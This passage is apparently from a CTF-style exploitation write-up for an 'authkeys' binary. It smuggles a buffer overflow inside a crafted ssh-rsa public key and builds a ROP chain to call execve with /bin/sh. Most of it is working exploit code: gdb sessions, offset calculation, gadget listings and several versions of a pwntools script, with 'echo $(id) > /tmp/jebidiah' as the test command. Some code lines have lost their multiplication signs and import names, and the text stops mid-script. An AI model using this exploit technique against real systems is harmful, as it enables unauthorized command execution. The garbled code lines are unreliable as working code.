(gdb) run 1 2 ssh-rsa QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc2QWc3QWc4QWc5QWgwQWgxQWgyQWgzQWg0QWg1QWg2QWg3QWg4QWg5QWkwQWkxQWkyQWkzQWk0QWk1QWk2QWk3QWk4QWk5QWowQWoxQWoyQWozQWo0QWo1QWo2QWo3QWo4QWo5QWswQWsxQWsyQWszQWs0QWs1QWs2QWs3QWs4QWs5QWwwQWwxQWwyQWwzQWw0QWw1QWw2QWw3QWw4QWw5QW0wQW0xQW0yQW0zQW00QW01QW02QW03QW04QW05QW4wQW4xQW4yQW4zQW40QW41QW42QW43QW44QW45QW8wQW8xQW8yQW8zQW80QW81QW82QW83QW84QW85QXAwQXAxQXAyQXAzQXA0QXA1QXA2QXA3QXA4QXA5QXEwQXExQXEyQXEzQXE0QXE1QXE2QXE3QXE4QXE5QXIwQXIxQXIyQXIzQXI0QXI1QXI2QXI3QXI4QXI5QXMwQXMxQXMyQXMzQXM0QXM1QXM2QXM3QXM4QXM5QXQwQXQxQXQyQXQzQXQ0QXQ1QXQ2QXQ3QXQ4QXQ5QXUwQXUxQXUyQXUzQXU0QXU1QXU2QXU3QXU4QXU5QXYwQXYxQXYyQXYzQXY0QXY1QXY2QXY3QXY4QXY5QXcwQXcxQXcyQXczQXc0QXc1QXc2QXc3QXc4QXc5QXgwQXgxQXgyQXgzQXg0QXg1QXg2QXg3QXg4QXg5QXkwQXkxQXkyQXkzQXk0QXk1QXk2QXk3QXk4QXk5QXowQXoxQXoyQXozQXo0QXo1QXo2QXo3QXo4QXo5QmEwQmExQmEyQmEzQmE0QmE1QmE2QmE3QmE4QmE5QmIwQmIxQmIyQmIzQmI0QmI1QmI2QmI3QmI4QmI5QmMwQmMxQmMyQmMzQmM0QmM1QmM2QmM3QmM4QmM5QmQwQmQxQmQyQmQzQmQ0QmQ1QmQ2QmQ3QmQ4QmQ5QmUwQmUxQmUyQmUzQmU0QmU1QmU2QmU3QmU4QmU5QmYwQmYxQmYyQmYzQmY0QmY1QmY2QmY3QmY4QmY5QmcwQmcxQmcyQmczQmc0Qmc1Qmc2Qmc3Qmc4Qmc5QmgwQmgxQmgyQgo=

(gdb) c

  Continuing.

  Program received signal SIGSEGV, Segmentation fault.
  0x000000000040036b in ?? ()

(gdb) x/xg $rsp

  0x7f7ffffd45d8:	0x42306142397a4138
```

Checking at what offset in the buffer the return address was overwritten with:

```bash
$ msf-pattern_offset -l 1000 -q 42306142397a4138

  [*] Exact match at offset 776
```

The return address is overwritten after 776 bytes!

### 5.4 STARTING THE EXPLOIT

The payload offset is adjusted by 22 bytes for the added bytes by the SSH key constructor and another 8 bytes for the consideration of RBP and finally writing the new return address:

```python
from Crypto.PublicKey import RSA
from pwn import 

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16)
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Payload Buffer====================================================

payload = ""
payload += "A"  (768 - 22)                  # buffer
payload += "B"  8                           # rbp
payload += "C"  8                           # ret addr

# Payload Generation================================================

generateRSAPublicKey(payload)
```

Checking in with gdb, the return address is now "CCCCCCCC":

```bash
$ python3 test.py

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC+kFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkJDQ0NDQ0NDQw==
```

```bash
(gdb) break * 0x00400361

(gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC+kFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkJDQ0NDQ0NDQw==

(gdb) c

  Continuing.

  Program received signal SIGSEGV, Segmentation fault.
  0x000000000040036b in ?? ()

(gdb) x/xg $rsp

  0x7f7ffffd45d8:	0x4343434343434343
```

### 5.5 ROP GADGETS

&#x20;There is a syscall instruction available so perhaps **`execve()`** may be an option:

```bash
$ python3 -m ropper -f authkeys

  0x00000000004003cf: syscall;
  0x00000000004003cf: syscall; ret;
```

Checking if there’s a way to control RAX, there are a few gadgets that can help set the desired value for the register:

```bash
$ python3 -m ropper -f authkeys

  0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;
  0x000000000040036d: not al; adc cl, 0xe8; ret;
  0x0000000000400370: shr eax, 1; ret;
```

&#x20;Finally, gadgets that can help set the values of RDI, RSI, and RDX which requires conversion from a single precision floating point value to an integer and a pointer assignment for RDX when used with **`movups`**:

```bash
$ python3 -m ropper -f authkeys

  0x0000000000400380: cvtss2si esi, xmm0; ret;
  0x0000000000400367: mov rdi, rsi; pop rdx; ret;
  0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
  0x000000000040036a: pop rdx; ret;
```

### 5.6 CONTROLLING RAX

The binary value of "3B" (execve syscall) is "111011". What will happen when **`mov eax, 0xffffffff; xor rcx, rcx; ret;`** is that RAX will be set to **`0xFFFFFFFF`** or **`11111111111111111111111111111111`**.

From there we can use right bitshifts and the not operator to get the correct value but take note that the **`not al`** operator only converts the last two bytes so if our current value is the one mentioned earlier, **`0xFFFFFFFF`**, we need to shift the bits to the right 24 times to achieve **`0x000000FF`**:

```bash
# After shifting 24 bits:
HEX         BINARY                              INSTRUCTION
--------    --------------------------------    --------------------------
000000FF    00000000000000000000000011111111
0000007F    00000000000000000000000001111111    shr eax, 1; ret;
00000080    00000000000000000000000010000000    not al; adc cl, 0xe8; ret;
00000040    00000000000000000000000001000000    shr eax, 1; ret;
00000020    00000000000000000000000000100000    shr eax, 1; ret;
00000010    00000000000000000000000000010000    shr eax, 1; ret;
000000EF    00000000000000000000000011101111    not al; adc cl, 0xe8; ret;
00000077    00000000000000000000000001110111    shr eax, 1; ret;
0000003B    00000000000000000000000000111011    shr eax, 1; ret;
```

Translating the following into the exploit code:

```python
from Crypto.PublicKey import RSA
from pwn import 

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Payload Buffer====================================================

payload = ""
payload += "A"  (768 - 22)	      # buffer
payload += "B" * 8          			# rbp

# Controlling RAX===================================================

payload += p64(0x00400394)  			# mov eax, 0xffffffff; xor rcx, rcx; ret;
for i in range(0,24):
    payload += p64(0x00400370)  	# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;

payload += p64(0)

# Payload Generation================================================

generateRSAPublicKey(payload)
```

Now trying the new payload from exploit code:

```bash
$ python test.py

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAAAAAAAAAAAAAQ==
```

```bash
(gdb) break * 0x00400361

(gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAAAAAAAAAAAAAQ==

(gdb) c

  Continuing.

  Program received signal SIGSEGV, Segmentation fault.
  0x0000000000400372 in ?? ()

(gdb) info register $rax

  rax            0x3b	59
```

The RAX register has been controlled!

### 5.7 RDI, RSI, RDX CONTROL

These three registers will serve as the arguments for the execve function:

```c
int execve(const char pathname, char const argv[], char *const envp[]);
```

Based on the OpenBSD sshd\_config documentation:

| REGISTER | PARAMETER              | VALUE                            |
| -------- | ---------------------- | -------------------------------- |
| RDI      | `const char *pathname` | `/bin/sh`                        |
| RSI      | `char *const argv[]`   | `["/bin/sh", "-c", "<command>"]` |
| RDX      | `char *const envp[]`   | `NULL`                           |

However, controlling the three registers is a bit tricky using the following gadgets:

```bash
$ python3 -m ropper -f authkeys

  0x0000000000400380: cvtss2si esi, xmm0; ret;
  0x0000000000400367: mov rdi, rsi; pop rdx; ret;
  0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
  0x000000000040036a: pop rdx; ret;
```

To set the value of RDI, the process will go as follows:

1. Set the value of RDX to be the pointer to the address of your intended RDI. The value of RDX should be a floating point number since it will be converted later on to the desired value.
2. Convert the value of RDX from a single precision floating point number to an integer using the **`cvtss2si`** gadget which will set its value to RSI.
3. Move the value to RDI from RSI.

I created a function to that will convert the address to its single precision floating point number equivalent:

```python
def convertAddressToFP(address):

    addr_int = int(str(address))
    binary = ""
    while addr_int > 0:
        binary += str(addr_int % 2)
        addr_int = int(addr_int/2)

    binary = binary[::-1]
    significant_left = binary.find("1")
    decimal_adj = len(binary[significant_left+1:])
    exponent_precision = 127 + decimal_adj
    exponent = ""
    while exponent_precision > 0:
        exponent += str(exponent_precision % 2)
        exponent_precision = int(exponent_precision/2)

    exponent = exponent[::-1]
    mantissa = binary[significant_left+1:].ljust(23,"0")
    binary_string = "0" + exponent + mantissa
    
 return int(binary_string, 2)
```

&#x20;To set the value of RSI, just follow the steps above from 1 until 3. Finally, to set the value of RDX, there is simply a **`pop rdx; ret`** gadget available. With all this information, the exploit code has been modified to the following:

```python
from Crypto.PublicKey import RSA
from pwn import 

# Floating Point Conversion=========================================

def convertAddressToFP(address):

    addr_int = int(str(address))
    binary = ""
    while addr_int > 0:
        binary += str(addr_int % 2)
        addr_int = int(addr_int/2)

    binary = binary[::-1]
    significant_left = binary.find("1")
    decimal_adj = len(binary[significant_left+1:])
    exponent_precision = 127 + decimal_adj
    exponent = ""
    while exponent_precision > 0:
        exponent += str(exponent_precision % 2)
        exponent_precision = int(exponent_precision/2)

    exponent = exponent[::-1]
    mantissa = binary[significant_left+1:].ljust(23,"0")
    binary_string = "0" + exponent + mantissa
    
 return int(binary_string, 2)

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Command Execution Payload=========================================

payload = ""
payload += p64(convertAddressToFP(0x006010d6 + 0x30))
payload += p64(convertAddressToFP(0x006010d6 + 0x10))
payload += p64(0x006010d6 + 0x30)
payload += p64(0x006010d6 + 0x38)
payload += p64(0x006010d6 + 0x40)
payload += p64(0)
payload += "/bin/sh" + "\x00"
payload += "-c" + ("\x00"  6)
payload += "echo $(id) > /tmp/jebidiah" + "\x00"        # TEST COMMAND

# Payload Buffer====================================================

payload += "A"  (768 - 22 - len(payload))	      # buffer
payload += "B"  8          			                # rbp

# Controlling RAX===================================================

payload += p64(0x00400394)  			              # mov eax, 0xffffffff; xor rcx, rcx; ret;
for i in range(0,24):
    payload += p64(0x00400370)  		            # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x0040036d)  			              # not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x0040036d)  			              # not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;

# Controlling RDI, RSI, RDX=========================================

payload += p64(0x0040036a)			                # pop rdx; ret;
payload += p64(0x006010d6)			                # RDI -> Pointer to "/bin/sh"
payload += p64(0x0040037c)			                # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			                # cvtss2si esi, xmm0; ret;
payload += p64(0x00400367)			                # mov rdi, rsi; pop rdx; ret;
payload += p64(0x006010d6 + 0x08)	              # RSI -> Pointer to argv addresses
payload += p64(0x0040037c)			                # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			                # cvtss2si esi, xmm0; ret;
payload += p64(0x0040036a)			                # pop rdx; ret;
payload += p64(0)				                        # RDX set to NULL

payload += p64(0)

# Payload Generation================================================

generateRSAPublicKey(payload)
```

```bash
$ python test.py

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEUgwiwEoAAAAAzCHASgAAAAAGEWAAAAAAAA4RYAAAAAAAFhFgAAAAAAAAAAAAAAAAAC9iaW4vc2gALWMAAAAAAABlY2hvICQoaWQpID4gL3RtcC9qZWJpZGlhaABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAABqA0AAAAAAANYQYAAAAAAAfANAAAAAAACAA0AAAAAAAGcDQAAAAAAA3hBgAAAAAAB8A0AAAAAAAIADQAAAAAAAagNAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
```

```bash
(gdb) break * 0x0040036a

(gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEUgwiwEoAAAAAzCHASgAAAAAGEWAAAAAAAA4RYAAAAAAAFhFgAAAAAAAAAAAAAAAAAC9iaW4vc2gALWMAAAAAAABlY2hvICQoaWQpID4gL3RtcC9qZWJpZGlhaABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAABqA0AAAAAAANYQYAAAAAAAfANAAAAAAACAA0AAAAAAAGcDQAAAAAAA3hBgAAAAAAB8A0AAAAAAAIADQAAAAAAAagNAAAAAAAAAAAAAAAAAAAAAAAAAAAAB

(gdb) c

  Continuing.
  Breakpoint 2, 0x000000000040036a in ?? ()

(gdb) c

  Continuing.
  Breakpoint 2, 0x000000000040036a in ?? ()

(gdb) c

  Continuing.
  Breakpoint 2, 0x000000000040036a in ?? ()

(gdb) c

  Continuing.
  Breakpoint 2, 0x000000000040036a in ?? ()

(gdb) c

  Continuing.
  Program received signal SIGSEGV, Segmentation fault.
  0x000000000040036b in ?? ()

(gdb) info registers $rax $rdi $rsi $rdx

  rax            0x3b	    59
  rdi            0x601106	6295814
  rsi            0x6010e6	6295782
  rdx            0x0	    0
```

The needed registers have been completely controlled and to give an overview to what is inside RDI and RSI:

```bash
(gdb) x/xs $rdi

  0x601106:	 "/bin/sh"

(gdb) x/4xg $rsi

  0x6010e6:	0x0000000000601106	0x000000000060110e
  0x6010f6:	0x0000000000601116	0x0000000000000000

(gdb) x/xs 0x0000000000601106

  0x601106:	 "/bin/sh"

(gdb) x/xs 0x000000000060110e

  0x60110e:	 "-c"

(gdb) x/xs 0x0000000000601116

  0x601116:	 "echo $(id) > /tmp/jebidiah"
```

The pointers inside RSI are all going to the right places so the only thing left to do is to trigger the syscall.

### 5.8 ADDING SYSCALL

To finalize the exploit, the syscall instruction has been added to the code:

```python
from Crypto.PublicKey import RSA
from pwn import 

# Floating Point Conversion=========================================

def convertAddressToFP(address):

    addr_int = int(str(address))
    binary = ""
    while addr_int > 0:
        binary += str(addr_int % 2)
        addr_int = int(addr_int/2)

    binary = binary[::-1]
    significant_left = binary.find("1")
    decimal_adj = len(binary[significant_left+1:])
    exponent_precision = 127 + decimal_adj
    exponent = ""
    while exponent_precision > 0:
        exponent += str(exponent_precision % 2)
        exponent_precision = int(exponent_precision/2)

    exponent = exponent[::-1]
    mantissa = binary[significant_left+1:].ljust(23,"0")
    binary_string = "0" + exponent + mantissa
    
 return int(binary_string, 2)

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Command Execution Payload=========================================

payload = ""
